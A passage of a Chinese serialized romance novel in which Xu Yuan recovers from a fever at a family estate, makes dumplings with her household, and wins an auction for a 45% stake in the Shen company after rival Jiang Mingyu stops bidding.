赵家老宅有些偏僻,而这个时间A市路上奔驰的都是些豪车了,这个阶段都是上流圈子那群二世祖们出来寻欢作乐飙车的时间了,不过不会堵车。 江惊蛰今天值了个晚班,有位长辈需要动手术,他也才下手术台没多久,身上都还带着血气,但好在手术很成功。 江惊蛰凌晨两点钟接到盛景炎的电话时整个人都是有些懵的,他自认自己和盛景炎不熟,因为傅京礼的原因他们之间连朋友都算不上,唯一有联系的大概是许愿了。 他当时第一反应是,盛景炎有什么问题,再一想猜到可能是许愿出了事。 听到盛景炎提起许愿发烧,他后面也没有排手术也不需要再值班,将工作交接后驱车前往盛景炎发来的定位地址。 江惊蛰到了时盛楠也因为许愿发烧的事情已经醒了,不过他没有自作主张熬制姜水,因为听说发烧原因不同不能随便乱喝。 “江医生。” 见到江惊蛰,盛楠打了声招呼带他去许愿和盛景炎的房间,刑从景坐在沙发上捏着眉心似乎有些无奈。 见到江惊蛰来了,刑从景算是松了口气。 许愿算是他的保护对象,他还是担心许愿真的出什么事的。 “怎么回事?” 江惊蛰问了句。 江惊蛰是医生,他问了,盛景炎就开口说了。 “阿愿和我晚上睡不着想一起去看星星。” 他才说到这里江惊蛰就凉飕飕的瞥他一眼。 “一个行动不便,一个身体虚弱还需要重要调理的,晚上不睡觉在零下的冬夜去田野没有任何挡风的地方吹风赏星星?” “阿愿不理智你怎么也跟着不理智?” “她恋爱脑满脑子阳春白雪听风看月亮的你就随着她疯?” 盛景炎:“……” 换做别的什么人盛景炎早就讽过去了,但现在他完全不敢反驳。 江惊蛰也没骂错,他确实没拦着。 他俩恋爱脑凑一起,确实想一出是一出。 两人都是理科的脑子文科的心,要不说绝配啊。 见盛景炎不吭声任由他骂,江惊蛰的火气也消下去些。 “阿愿最近精神高度紧张,因为太过忙碌再加上现在吹了凉风感冒导致高烧,不算严重,这一次发烧也算是个契机让她好好休息休息,我会给她开点药,刚巧在这边你们可以把中药煎了让她喝。” 当然为了让许愿长记性他会在中药里面放点较苦的草药。 担心许愿会找他要药房,特地加了龙胆草喝穿心莲,他是觉得许愿不懂这些,只知道黄连才是苦的。 “她都晕过去了,这还不算严重?”盛景炎有点着急。 江惊蛰嗤了一声:“现在知道着急了?不是冬日里面看星星看月亮的时候了?” “放心,她之前是烧的厉害昏过去,现在是睡过去了,没什么大事。” 听江惊蛰这么说盛景炎终于算是放心了。 “有多余的空房间吗,这个时间了开车回去天都快亮了,我在这边住一晚。” 盛楠立刻带他去打扫好的客房,又给他准备了份夜宵,是从菜地里面摘的新鲜青菜让厨子煮了碗热汤面,江惊蛰倒是挺满意。 知道许愿没事,刑从景也不多待了,这下房间就剩下许愿和盛景炎了。 她是真的没有多大的事 刚才许愿的皮肤还红得跟番茄一样,现在已经白了回来,盛景炎摸了摸她的额头,江惊蛰给她挂了水,现在温度已经往下降了。 盛景炎给她掖好被子,本打算守着她一整晚,但也确实是又累又困,直到挂完水给她拔了针天也亮了,他这才抱着她眯了会儿。 到了早饭的时间盛景炎又摸了摸许愿的额头,已经不烧了。 “阿愿,阿愿,起来吃早饭。” 他声音温柔几乎是哄着她的。 许愿之前高烧,虽然半夜烧退了但是头还是有点疼。 她捂着头哼了一声又钻进盛景炎怀里,本来想撒娇的让盛景炎抱她起床洗漱,但是话才到嘴边她就清醒了。 盛景炎双腿没有断的时候确实是捧着她当小祖宗,她不想起床他就给她挑衣服换上抱着她去洗漱清理。 但现在盛景炎的腿已经伤了,她再说出这些话怕是会伤到他。 许愿不忍看他受伤的模样,所以清醒了。 “我昨晚发烧了?” 许愿嗓子有点哑。 盛景炎嗯了一声:“下次冬夜不能再任性了,想看星星我们可以在房间内看,可以把阁楼重新装修一下安装成那种透视玻璃看到外面景色的,你想看星星可以躺在床上看。” 许愿依偎进他怀里:“好,听你的。” 话落,她从盛景炎怀里抬起头:“昨晚,让你担心了吧。” 第438章 以后不许胡闹了 盛景炎看着她眼神中都带着几许无奈。 “以后不许胡闹了。” 许愿赖在他怀里蹭了蹭,轻哼了一声算是应答,也不知是答应了还是没答应。 许愿没来过赵家老宅,赵家老宅是真的大,像是个庄园,占地面积具体多少许愿都算不出来,虽然偏僻但也是在A市,单是这边的地皮价值数额都不小。 她不想在床上赖着,起来后去菜地转了一圈,盛景炎讲这里以前是花田,是因为盛景炎的母亲赵女士喜欢养花,但赵女士喜欢养花又不会养花,所以后来才让下面的人改造成种菜的田地。 这里甚至搭建了保温棚让蔬菜们过冬,黑色的土壤上长出青绿的叶子与藤蔓,许愿盯着那些植物瞧,瞧半天也看不出门道,她确实对这些不怎么了解。 不了解但也知道自家田地里面种的东西味道肯定很好。 许愿问赵厨子:“怎么长得这么慢,不可以直接吃吗?” 厨师赵牧兼菜农耐心地给他解释:“像茄子之类的要半年才能成熟,那边的大白菜和番茄已经可以收获了。” 许愿顺着赵牧的指点跑去看地里的白菜,一颗一颗绿油油白嫩嫩的白菜非常可爱,刑从景现在寸步不离的跟着许愿,她看许愿盯着那地里的大白菜看了好一会,然后许愿对赵牧说:“现在可以把他们变成料理吗。” 赵牧无奈地笑道:“它们本来就能吃,冬日了,我们A北方人也喜欢冬日吃饺子,中午就做大白菜猪肉和玉米虾仁的饺子吧。” 转完田地许愿就回了书房,盛景炎在处理公务,她也让自己的人去调查了姜明钰最近看中的项目。 沈氏那部分股份拍卖的时候她需要找到合适的退路又不曝光自己现在的底牌。 等到差不多时间的时候,赵牧开始在厨房里包饺子。 将肥瘦相间的猪肉剁碎,拌入调料与蔬菜搅拌,香油的味道飘散到好远,许愿过去围观。 赵牧一手拿着筷子在馅料里挑过,再将筷子尖的肉馅抹在另一只手中的饺子皮上,双手依次捏拢面皮,往涂了面粉的案板上一放,就是一只胖嘟嘟的饺子。 许愿其实会做饭,且厨艺不错,但她确实不会包饺子,刑从景跟着许愿看到这一幕,正对上许愿看过来的目光,刑从景立刻明白许愿的意思了。 这是让他警备队的人都来帮忙包饺子呢。 也是,许愿之前就说了一起吃饺子,单让赵牧一个人包这么多人的饺子要到什么时候了。 人一多就有点挤了,赵牧又分了个桌子出来一起捏饺子,速度快些。 许愿来帮忙,但是包出来的饺子个个歪瓜裂枣站都站不住,只能软软地趴着。 越是包得差劲,许愿就越是想练,结果捏出来的都是奇形怪状的。 等盛景炎看完文件出来的时候,发现所有人都聚集在厨房,他推着轮椅过去,就看见许愿聚精会神地跟手里的生饺子较劲,神色认真,目光专注,光打在她的脸上,让她看起来漂亮得有点透明,她的颊边沾着不知道什么时候弄上去的面粉,白白的,很可爱。 “少爷,你起来了。”盛楠放下手里的活,过去照看盛景炎。 许愿眉眼弯弯说:“马上就有饺子吃了。” 盛景炎点点头,盛楠推着他去往餐厅,许愿也站起来拍了拍身上的面粉,跟着一起出了厨房。 一群人排排坐在餐桌旁,等着赵牧下饺子。 不一会,饺子就出锅了。 饱满的水饺个个莹白圆润,肚子鼓起来,一看就非常有料。 赵牧调好蘸料端上来,用筷子夹一只饺子蘸一蘸陈醋,一口咬下,火热的肉汁流到嘴里,又烫又香,猪肉肥瘦适宜,吃在嘴里口感顺滑,酸醋去除了肉的肥腻,与甜脆的大白菜混合在一起,鲜得不得了。 手擀的饺子皮非常有韧劲,Q弹不粘牙,许愿一口一个,吃了还想吃。 “这是大白菜猪肉的,这是玉米虾仁的。”赵牧说,“慢点吃,烫嘴,如果吃不完的话还可以留到明天,做成煎饺。” 刑从景闻言怜悯地看向赵牧,小赵厨师可能不了解情况,不会吃不完的。 他这群下属还是很能吃的。 果然赵牧那话出口后警备队的众人开始纠结,他们可以把这些饺子全部都吃光,但是他们又很想吃煎饺,要不要故意剩一些明天吃…… 刑从景看他们纠结的样子就猜到她们心里想什么,差点被气笑了。 盛景炎也拿着筷子,慢条斯理地夹着水饺吃,赵牧下了好几锅,全部端了上来,最后一盘是许愿包的残次品。 本来就先天不足的饺子煮熟之后更加惨不忍睹,有大有小,每一个都瘫在盘子没个正形,很难分清到底是饺子还是包子或者是面团还是别的什么怪东西。 “嗯,这是许小姐包的……虽然不是那么好看,但是味道不会差。”赵牧看向许愿,毕竟馅是调好的,味道还是一样。 许愿自己都有点嫌弃,但是又舍不得不吃。 她其实挺无奈的,捏饺子看着也不难,她怎么就是捏的很丑呢? 正在端详的时候,一双筷子伸过来,越过许愿,从盘子里夹住一只丑饺子。 许愿看着那双筷子从她面前把食物夹走。 盛景炎用筷子托着那只饺子,面不改色地吃下去。 许愿看着他没说话。 盛景炎咽下食物,才说:“怎么了,味道挺好的。” 那肯定啊,馅还是那个馅,皮还是那个皮,她只是包了一下。 许愿把一整盘都端了过来,对盛景炎说:“那你把这一大盘丑饺子都吃了吧。” 盛景炎:“……”对他来说有点多。 盛景炎捏了捏眉心放下筷子,唇角带着浅淡的笑意对许愿说:“想我多吃点,可以啊。”他看着许愿,非常淡定,眼里却像有钩子,勾着许愿往前走,“那你喂我啊。” 许愿怔住了。 周围的人目光都落到两人身上。 许愿内心实在没忍住想骂他一句不要脸,这么多人看着呢。 第439章 尊重她的选择 刑从景没少近距离看两人腻歪,但是这群单身的警备队成员却极少见,一个个的脸都跟着红了,嘴里的饺子是咽也不是不咽也不是。 盛景炎才不在乎周围是不是有人看戏,就这么直勾勾的望着许愿。 许愿忍不住手在下面掐了他 一下,见他不收敛,也没办法,过了一会,她慢慢地一手夹起饺子,另一只手托着,红着脸递到盛景炎的嘴边,说:“你吃啊。” 仔细看,那双筷子还在不停地抖,上面的饺子马上就要掉下来。 盛景炎眼睛盯着许愿,嘴巴张开,许愿把筷子伸过去,盛景炎缓缓地咬下上面的食物,慢得像电影被放慢的镜头,在这个过程中,他的目光一直黏在许愿身上,全程没移开眼。 吃完之后,盛景炎优雅地拿纸巾擦擦嘴,镇静地说:“好吃。” 许愿收回筷子,埋头自己吃了一口,然后扭头问盛景炎:“还要吗?” 盛景炎理直气壮地说:“要。” 于是许愿自己吃一个,再喂盛景炎一个,从头到尾用的一双筷子。 盛景炎故意吃饺子的时候用嘴唇碰到筷子尖,再看着许愿拿回去伸进自己的嘴里,眼神暗沉了下来。 等他觉得差不多饱了,才抬手揉了揉许愿的耳朵,满足地说:“我够了,你多吃点。” 盛景炎顺势撩过许愿的头发摸了摸,许愿其实已经饱了,她放下筷子喝了口热气腾腾的饺子汤,还不忘给盛景炎也盛一碗。 等所有人都吃完后,盛景炎总觉得自己大概是忘了点什么事,但具体是什么事呢? 他思来想去都没想出来,等十分钟后看到江惊蛰从客房出来后盛景炎脸上本来挂着的笑容都僵住了。 是的。 他把江惊蛰给忘了。 凌晨两点给江惊蛰打了电话让她特地从市区中心开车来到赵家老宅给许愿看病,结果水灵灵的就把人忘到脑后了。 刑从景也陷入了沉默,而他那群吃很多的警备队队员已经狼吞虎咽抢完了最后一盘饺子。 这就很尴尬了。 江惊蛰看着这一幕挑了下眉,不等江惊蛰说话许愿就已经开口:“江惊蛰?你什么时候来的?” 很好,盛景炎和刑从景他们压根就没提江惊蛰半夜为了她赶过来这件事。 不仅没提,可能饭都没给他留一口。 “今天吃饺子?”江惊蛰走到许愿身边解释了下昨晚的事然后微笑询问。 盛景炎扫视了一下长桌,全部都空盘了,他捏了捏眉心:“你有什么想吃的吗,或者也可以给你叫华庭的外卖。” 许愿戳了戳盛景炎的手,立刻明白这人应该是把江惊蛰给忘了。 这次是真不靠谱啊。 江惊蛰嗯了一声:“我不挑,不过昨晚看病你们也没有付给我报酬,报酬就当你们欠我一顿饺子宴吧。” 心眼儿还挺小,还记着呢。 趁着华庭的外卖还要等一段时间,江惊蛰看向许愿:“许愿,我们聊聊。” 盛景炎黑眸闪了闪,看向他时眼底明显带着几分不虞。 “放心,不谈你,我跟许愿谈的是跟姜家有关的事。” 听到他这么说盛景炎放下心了。 盛楠带着两人到了一楼专门的会客室,茶点都已备好。 江惊蛰确实饿了,吃了块糕点顺着喝了两杯红茶方才开口。 “你跟姜明钰见过面了对吗。” 许愿不置可否。 确实见过面了,且交谈的并不愉快,没有人愿意低头。 “姜明钰这个人狂妄自大,但他有资本,所以与其说是狂妄自大不如说是有绝对的自信,如果我们没有站在对立面那我们或许可以是关系很好的朋友,而不是像现在这样针锋相对各自惋惜。” 不说别的,姜明钰的出身和家庭背景就足够让他骄傲的,这的确是事实。 “你说的没错。”江惊蛰点头:“姜明钰确实有资本,他擅长金融,他的妹妹姜明珠擅长科研,而姜明钰的弟弟姜明烨看似吊儿郎当却有极高的艺术天赋,且对姜明钰的吩咐言听计从。” “如果说曾经傅氏有铁三角,那姜家也有属于他们的铁三角,不同的是你们能轻易分崩离析,但是姜家的铁三角却是无坚不摧的。” “姜明珠会帮傅氏已经是板上钉钉的事,她的很多研究方向都跟你相撞了。” 这是江惊蛰给许愿的忠告。 许愿心沉下来。 “沈氏的股份你们最好拿到重新得到沈氏,否则姜家会认为盛世不堪一击,等他们拿到沈氏后就会立刻对盛世出手,现在盛世的总裁还是你,如果是你没有守好盛世,盛世那群人怕是有的要闹的。” “我知道。” 许愿将茶杯中的茶水一饮而尽,才缓缓开口:“你是傅京礼的好友,却对我说这些,不算背叛傅京礼吗。” “我没有向你泄密,这些你马上就会知道,且姜家要对付盛世与傅氏无关,更不算背叛阿礼。” 傅氏还没有让姜氏对盛世出手,是姜家来到A市后自行将目光落到盛世,这与傅京礼无关。 “不管怎么样,谢谢。” 许愿冲他点了点头。 两人不再聊这些,偶尔聊一些与医学相关的合作案,直到华庭的外卖送到,两人从会客厅出来,江惊蛰才忍不住又问了句。 “盛景炎真的还能站起来吗。” “这么多天过去了,能治好早就治好了。” “现在的他在你昏倒后想要抱你都没办法,只能打电话求助其他人,你真的还坚信自己的选择是对的吗。” 许愿停下脚步。 她垂下眼睫,很轻很轻的笑了笑,声音里透露着明显的坚定。 “我说过会让他站起来就一定会让他站起来。” 而且你该知道我身边跟着的人都是谁,就算发生意外也有他们护着我和盛景炎。” “所以我坚信我的选择是对的。” 江惊蛰明白了许愿的意思,他没在多说,只是面上带着几分释然。 “好,我尊重你的选择。” 江惊蛰用过餐没有多留,他还要回去看部分文献资料。 盛景炎正在偏厅晒太阳,许愿过去时盛景炎懒洋洋的,许愿瞧着他这副模样实在有点像大猫。 第440章 她一定会来 许愿很喜欢这个偏厅,设计成欧式的风格, 到处装饰着红色的帷幔与金色的流苏,中间铺着很大的地毯,地毯上放着柔软如云的简易坐垫沙发, 许愿瞧着都想扑上去。 她凑过去上半身靠在坐垫上贴在盛景炎怀里,像是要陪着他一起晒太阳似的。 许愿把江惊蛰说的那些讲给盛景炎听。 盛景炎揉了揉她的发问道:“拍卖会我跟你一起去。” “还不用你跟姜家人直面对上,我已经约好了段星河一起去。” “不是什么大事,我和段星河能应付的过来。” 许愿道:“我手里有姜明钰感兴趣的资料,他会在拍卖会上放我们一马,或许他不在乎这些还要执意拍下沈氏,那盛华也会在这种时候援助盛世,最坏的打算就是盛华和姜氏杠上拍下沈氏与姜氏对峙,也算是分了姜氏对盛世的火力。” 许愿知道盛景炎想陪她一起去就是不希望她压力太大,不希望盛世的重担都到她身上。 但许愿想得更多。 她那天听到盛景炎提起旁人看到他双腿的在意,她甚至还担心姜明钰和姜明烨面对盛景炎提到他的伤腿,所以她不愿盛景炎在没有恢复前再出现在这种场合。 他们彼此都知道对方的担忧,末了还是盛景炎叹息的握紧了许愿的手:“不管发生什么事都要记得我在你身后。” 许愿笑道:“我才是要对你说这句话。” …… 拍卖会当天,从事制造业的各位大佬齐聚拍卖行,其中就包括姜明钰。 姜明钰隐没在人群中,有一口没一口地喝着香槟,漆黑幽暗的眼睛不时扫过熙熙攘攘的人群,试图找到那个纤瘦却又挺拔的身影。 姜明烨附在他耳边小声道:“哥,你说许愿今天会不会来?” “她一定会来的。”姜明钰笃定道。 虽然才见过一面,但他却对许愿留下了极其深刻的印象。 那是一个聪慧的女人,也是一个坚强的女人,更是一个勇敢无畏的女人,即便明知这可能是一场败局,她也会来。 果然,他话音刚落,许愿就和段星河肩并肩地走进来。 她今天穿了一条红色长裙,本就瓷白的肌肤在灯光地照射下几近透明,一双眼睛十分清澈闪亮,像是缀满了繁星,而那条裙子衬得她整个人愈发明艳。 毫无疑问,她是这个拍卖大厅中最为鲜亮的一抹色彩,很快就吸引了大家的注意力。 有人窃窃私语道:“那就是盛衡的儿媳妇,能力很强。沈氏那样的烂摊子她都能处理,稍微培养几年说不定能接盛衡的班。” “接盛衡的班?那她今天应该是来收回沈氏股权吧?” “我怎么听说她跟盛衡不和,早就把盛衡踢出盛世了。” “盛衡那是活该,谁不知道盛世是当初赵家那笔资金流后才有了现在的辉煌的?竟然还想妄图扶持那个私生子,活该被踢出局。” “倒也是,盛衡也是老糊涂了,哪个儿子最成器他自己心里没点数啊。说起来沈氏那45%的股权,只要她今天能拍走,沈氏以后就还是盛家的,不然以后从盛家分出去的沈氏就要易主了。有这个儿媳妇在,盛衡那个老东西就是被踢出去了也垮不了。他也是命好,虽然自己是个糊涂的,但盛家有许愿是绝对倒不了。” “能力强倒在其次,最重要的是品行好。盛衡这个儿媳妇品行真是好得没话说,在盛世最难的时候站出来稳定了股价,现在又是接下了这次棘手的事,了不得啊。” “这个小姑娘不得了,是个干大事的。仁厚、聪慧、能干,又担得起责任,不得了不得了!我最近总跟我家小子说,以后找女朋友不看门户,也不看容貌,只看性情和品格。要是他能找到像许愿这样的女朋友,我晚上做梦都会笑醒。” “娶妻娶贤,老祖宗留下的话肯定错不了。我也是这么教育我儿子的。盛衡那个人是坏是狠但老东西命也是真好。” 一群大佬边说边冲许愿露出慈爱的笑容。 许愿不明所以,却也颔首浅笑,态度十分谦和有礼。 也有一些青年才俊注意到了许愿,陆陆续续走过去与她攀谈,言辞间充满了对她的好感。 虽然新闻并不敢大肆报道,但是盛家闹出来的那些丑事,上流社会却差不多都知道了。对于许愿近段时间的所作所为,他们是真心佩服,也是真心怜惜。 许愿参加过许多晚宴,最会应付这些人,她微笑着跟这些人切入话题,她情商好,无论这些人提起什么她都能很快的向下兼容的聊进去。 但聊这么久也确实有些累了。 段星河似乎察觉到了她的疲惫,立刻用手臂虚扶着她的腰,将她带到靠近墙壁的内侧,隔开了人群。 她疲惫地揉了揉眉心,却见一名侍者端着一杯热牛奶径直朝她走过来,低声道:“许小姐,这是姜先生替您叫的饮品。” 许愿顺着侍者转身的方向看过去,却见姜明钰举起酒杯冲她遥遥致意,薄唇轻扬,似乎心情很不错。 许愿并未拒绝他的好意,她现在确实需要一杯热牛奶。 她端起热牛奶喝了一小口,用口型无声对姜明钰道谢。 姜明钰漆黑的眼眸似水一般温柔,唇角的笑意也加深了少许。他定定看了许愿好一会儿才侧过身继续与周围的人说话。 段星河盯着姜明钰的背影,眸光不禁暗了暗,他能感觉得到姜明钰看许愿的眼神不对。 “小心姜明钰,他似乎对你有意思。” 段星河提醒了一句。 许愿小声笑笑:“他有未婚妻,他那不是对我有意思,只是觉得遇到了劲敌才对我感兴趣,是想要花心思打压我。” 段星河没再说话,他是觉得许愿说的不太对,但见许愿不想提起这些他便也不提了,只缓和了面色,与不断围过来的人攀谈。 十点半到了,拍卖会正式开始。 都说破船还有三千钉,即便沈氏已经破产了,它留下的很多东西也都颇具价值,尤其是驰名的几个品牌和专利,皆是众人争相抢购的热点。而拍下那股份就等同于得到沈氏。 做生意最重要的是眼光,没眼光,即便金矿就摆在眼前你也看不见。 第441章 放她一马 姜明钰眼光毒辣,前面拍卖的东西他连看都不看,只默默等待着沈氏的股权。许愿亦如是。 两人坐在同一排的两侧,只需稍微偏头就能看见彼此。 姜明钰总是忍不住去看许愿,而许愿自始至终都盯着台上的主持人,并没有分心。 终于,主持人徐徐说道:“下面要拍卖的是沈氏制造的45%的股份,起拍价两个亿,每次举牌加价一千万,各位来宾可以叫价了。” 姜明钰老神在在地坐在台下,他原以为许愿会迫不及待地叫价,却没料对方也没举牌。 后排有几个人陆陆续续加价,四亿的时候许愿没动,六亿的时候许愿也没动,到了八亿五千万,举牌的人只剩下两三个,她这才举起手中的号码牌,开始进入角逐。 她远比姜明钰想象得还要沉稳。 姜明钰转头看她,用指腹摩挲了一下微扬的唇角。 许愿根本不关注他的一举一动,只是一次又一次地举起手里的号码牌,竞价很快超过了九亿三千万。 姜明烨憋不住了,附在兄长耳边说道:“哥,许愿跟哪儿来的钱,该不会借了高利贷吧?我记得他们拿不出这么多流动资金了,据说段星河是个吞金兽,资源大把大把的要,这阵子敲定的合作也投入了大笔资金,资金回流要等很久的……” 也是奇了怪了,这种时候姜明烨不关心兄长能不能赚钱,反倒去担心一个陌生人。 “不要小看她的人脉圈。”自从认识了许愿,姜明钰便不受控制地去关注她,自然知道许愿这几天的举动。 “那她筹借到多少钱?”姜明烨直咋舌。他没想到许愿竟然真的能在三天之内筹集这么多钱。 “人民币大概十二亿五千万”姜明钰略感遗憾地摇头。这笔钱虽然多,但是想赢过他却绝无可能,他分配给代理人的资金是十五个亿,而且随时可以加注。 “完了,她没希望了。”姜明烨顿时哀叹起来,惹得姜明钰似笑非笑地瞥了他好几眼。 姜明钰从来没见过弟弟怜惜哪个女人,以至于他一度以为弟弟喜欢男人。然而如今他才明白,弟弟不是不懂怜香惜玉,只是没遇见能让他心折的女人。 说话间,竞价达到了十一亿三千万,现场宾客开始骚动。他们万没料到沈氏的股权竟能卖出这等天价。这里面是不是有利可图?即便很多大佬猜到了这一点却也没有能力加入角逐,来之前他们早已看准了想购买的东西并准备了相应的资金,实在没有办法腾出这么大笔流动资金。 这注定是许愿和姜明钰的战场。 竞价毫不意外地持续上涨,稳稳压住了许愿的心理防线,但她连眼睛都没眨,直接举牌继续加价。 若非姜明钰了解她的底细,差点就被她运筹帷幄的表情骗了过去。 许愿清楚,姜明钰绝对调查过她,也知道她这几天的行动,但显然姜明钰也被她骗过去了,他以为她能拿出的钱其实也只是隐藏实力欺骗他的幌子。 见姜明钰还在加价,许愿低头扫了眼厅内的侍应生,那人立刻会意走向姜明钰在他耳边低语几句。 姜明钰听完脸色微变,目光深沉的朝许愿所在的方向看去,许愿对他温柔一笑。 姜明钰愣了愣神,好半天竟然气笑了。 行啊,许愿这是直接算计到他头上来了。 姜明钰觉得烦闷得很,忍不住拽了拽领带,略微松开喉间的禁锢。 眼看代理人举起牌子要继续叫价,他终是拿出手机,默默发送了两个字:【够了,可以停止了。】 代理人低头看了看手机,虽面露疑惑,却也没有多问。 许愿举起号码牌叫了十二亿五千万,这是许愿明面上能筹集到的所有资金。姜明钰果然是狠,就算要低头也要榨干她最后一滴血。 姜明钰没再叫价了,台上的主持人开始倒数三遍,然后重重敲击木槌。 所有人都为许愿鼓掌,而她本人却转头看向姜明钰,冲他微微点了下头。 她看见姜明钰一边冲自己微笑一边鼓掌,半点不见颓败的样子,于是她立刻明白了,其实自己并没有赢,姜明钰并非是因为她说的那件事低头,只不过是姜明钰发了下善心放了她一马而已。 她藏好了她的底牌,姜明钰也同样没有暴露底牌。 但这次确实是姜明钰发了善心,这是毋庸置疑的。 许愿红唇微弯,向这位敌人展露真心实意的笑容。 姜明钰鼓掌的动作停顿了几秒,漆黑的眼眸划过惊艳的光芒。当他仔细再看时,许愿已经挺直脊背看向主持人。她又变成了那个运筹帷幄的女强人。 姜明钰一边摇头一边低笑,全然不见竞争落败的愤怒和不甘。 姜明烨不明就里地问道:“哥,你的代理人怎么不叫价了?打瞌睡了吧?没买到就算了,你别把气撒到许愿头上。”他太了解自家兄长的尿性了,这家伙惯爱迁怒,冯菀菀惹恼了他,他总会来折腾自己,真是欠揍! 姜明钰冷笑一声,懒得回答弟弟的傻问题。 拍卖会结束之后,许愿在工作人员地带领下去办股权转让手续,路过大厅的时候正巧看见姜明钰离开的背影。 姜明钰今天穿了一套黑色西装,不紧不慢地行走在一群肥头大耳的商人中,显得格外招眼。他比周围的人足足高出一个头都不止,常年坚持锻炼让他的身材显得非常精壮,只一个挺拔的背影就已足够彰显他无与伦比的男性魅力。 很多人试图与他攀谈,态度颇为谄媚,他却有些爱答不理的,指尖夹着一根烟,似笑非笑的薄唇偶尔吐出一团烟雾,玩世不恭的样子充满了原始的野性。 不用去了解他的内在,只看外表就能知道,这是一个不好相处的男人。 然而正是这个男人,在刚刚结束的拍卖会上主动把胜利的果实拱手相让。 想到这里,许愿大步走过去,扬声道:“姜先生请留步。” 第442章 又见面了,宋观鱼 姜明钰几乎立刻就停了下来,站在门口等着许愿。意识到许愿不喜欢闻烟味儿他连忙把烟摁灭丢进垃圾桶。 “许小姐找我有事?”他伸出手虚扶了许愿一下,因为他注意到靠近门口的地板刚打过蜡,很滑。 “谢谢你。”许愿真心实意地说道。 “谢我什么?”姜明钰挑高一边眉梢,仿佛完全不知道她的来意。 许愿忍不住笑了,主动伸出手与他交握,再次说道:“十几亿绝非您的上限,所以我要感谢姜先生的让步。” 姜明钰握住她嫩滑的手,掌心忽然一阵发烫。 这是他头一次不算计金钱,不计较得失,主动放弃一桩注定会大赚特赚的生意。事实上,当他走出拍卖场的时候,有那么一瞬间他是懊恼的,他搞不明白自己为什么要这样做。 但现在,当他面对许愿熠熠生辉的笑颜时,他忽然就释怀了。 他放弃这宗大买卖所要得到的仅仅只是这个女人的一句感谢和一个轻松的笑容,就这么简单。这或许是他购买的最虚无缥缈的一样东西,却也是最有价值的。 “不用谢,希望以后我们合作愉快。”姜明钰用力握住许愿的手,过了大约半分钟才放开。 “有件事我需要提醒下许总。” 许愿疑惑。 “许小姐难道不好奇我为什么会对付盛家吗。” 许愿确实不明白。 盛家的盛世最近在A市风头正盛且还有她压着,就算是姜家想吞并也要费心思,姜明钰为什么一定要对付盛家? 见她一副什么都不清楚不知道的模样姜明钰忍不住笑了笑。 “我的未婚妻前段时间跟人私奔了。” 许愿内心咯噔一下。 他的未婚妻私奔跟盛家被姜家针对有什么关系? 总不能是盛家人勾走了他的未婚妻。 盛景炎就在A市绝不可能做出这种事,盛明浔也断了腿没那心思私奔,那还能有谁…… 等等? 盛明宇确实有段时间没有出来过! 前段时间盛明宇一直追求她在她身边刷存在感,但是最近一直没见过盛明宇了。 因为是不在意的人所以许愿就没关注。 难道真的是盛明宇! “是盛明宇?”许愿震惊。 姜明钰深深的看了她一眼,没有回应,却又像是默认。 许愿不明所以,他却已经转身离去了。 “多半是盛明宇拐走了他的未婚妻,他盯上盛世就是打算伺机报复。”段星河想了想回了句。 “不过我看他好像对你有点兴趣,如果你可以给他足够的利益,他应该不会对盛世赶尽杀绝,但是盛明宇……他大抵是不会好过了。” 段星河盯着男人高大的背影说道:“他现在没能买到沈氏的股份,还可以收购其他股东的散股,只是过程麻烦一些而已。” 许愿眸光暗了几分,不过那些散股对沈氏和盛世已经构不成威胁了,因为这次收购到的股份已经占比最多了,且盛景炎手中也有沈氏的股份。 而且她现在还需要尽快策划后面的合作,牵线与盛华的合作,而姜明钰的加入对沈氏来说未必是坏事。 商场上没有永远的敌人,只有永恒的利益。 段星河轻拍她肩膀,安慰道:“你别担心,我手里还有不少资金,可以全都投给你。” 许愿听到段星河的话实在没忍住笑了笑,继而坚定道:“看来段老师很相信我啊。” “赚钱方面的事我一向信你。”段星河开口:“盛华就是最好的例子。” 事实是段星河在乎的从来就不是钱,而是人,他护着许愿也是因为苏青莲。 这次一同参与拍卖会的还有宋家人。 宋观鱼远远的看着许愿,眼底尽是酸楚。 宋父叹了口气:“想去就去,能说几句话也是好的。” 宋观鱼这才挺直了身体对父亲点了点头走近许愿。 “许总,好久不见。” 听到熟悉的声音,许愿先是顿了下,继而弯了弯眼睛。 “宋观鱼,又见面了。” 看到她笑靥如花的模样宋观鱼心跳的愈发快了,他目光有些贪婪的望着她,像是希望能将她的面容印在自己心底。 “最近一段时间宋氏在A市有项目合作,需要帮助的话许总随时可以联系我,宋家不缺流动资金。” 宋观鱼将自己和父亲的名片全都递过去,姿态有点小心翼翼的,像是担心她会拒绝。 许愿看他一眼,终究还是接过来。 拒绝了他的感情但是不代表不可以当朋友或者合作对象。 “谢谢小宋总。” 宋观鱼立刻露出傻乎乎的笑容,好像只是被她收下名片就已经有了很大进步一样。 宋父在远处看着这一幕,内心忍不住道“真是没出息啊。” 宋观鱼离开后段星河啧了一声:“是我小看我们许总了,许总魅力四射还真是不缺资金啊。” 许愿冲他扬了扬自己手中的两张名片笑容中都带着点得意。 得知许愿买下了沈氏的控股权,盛衡忍不住老泪纵横。 纵然盛衡再如何瞧不上许愿,但这次许愿确实是购进了沈氏的股份。 被踢出盛世后,盛衡与商场上的那些老朋友便没有往来了。 但是,自从许愿买下了沈氏的控股权,这些人又开始出现在他的身边。 他们提着水果篮来探望盛衡,不无羡慕地说道:“老盛,你那儿媳妇也太能干了!能从姜明钰手里夺回股份,是真厉害啊!” 盛衡是不是窝囊他们也不在乎,他们就知道许愿是真能干。 盛衡嘴上说年轻人还需要锻炼,实则满心都是难以言喻的骄傲。 盛景炎是个混账东西,盛明浔是个废物,盛明宇也不知道浪到哪里去了,但是盛景炎选女人确实有点眼光。这次若非是许愿,沈氏怕是已经被姜明钰抢走了。 现在虽然儿子们都是废物,但他的儿媳妇却是圈子里公认的女强人。就算他被踢出局那盛家只要有许愿就倒不了,如今谁不羡慕他有福? 这天,盛衡约见许愿,其实是打算商议将自己手里那点沈氏股份转给许愿或者盛景炎。 这已经算是盛衡最大的让步了。 难得盛衡手头露出点好处,许愿当然同意见面。 第443章 卖掉股份 许愿开车去接盛衡,跟盛衡才走到饭店门口就被一名男子拦住了去路。 男子跪下拽住盛衡的裤腿,说自己是沈氏的员工,由于工作中发生意外,被机器截断了一只腿,失去了劳动能力。如今沈氏被强行收购,他母亲又重病,急需用钱,希望盛衡能把拖欠的工资发给他。 沈氏的资产早已拍卖,所得款项却还扣在法院,未曾解冻,这也是没有办法的事。 盛衡难得耐心解释了一番,那人却不信,目中隐隐透出几分疯狂的恨意。 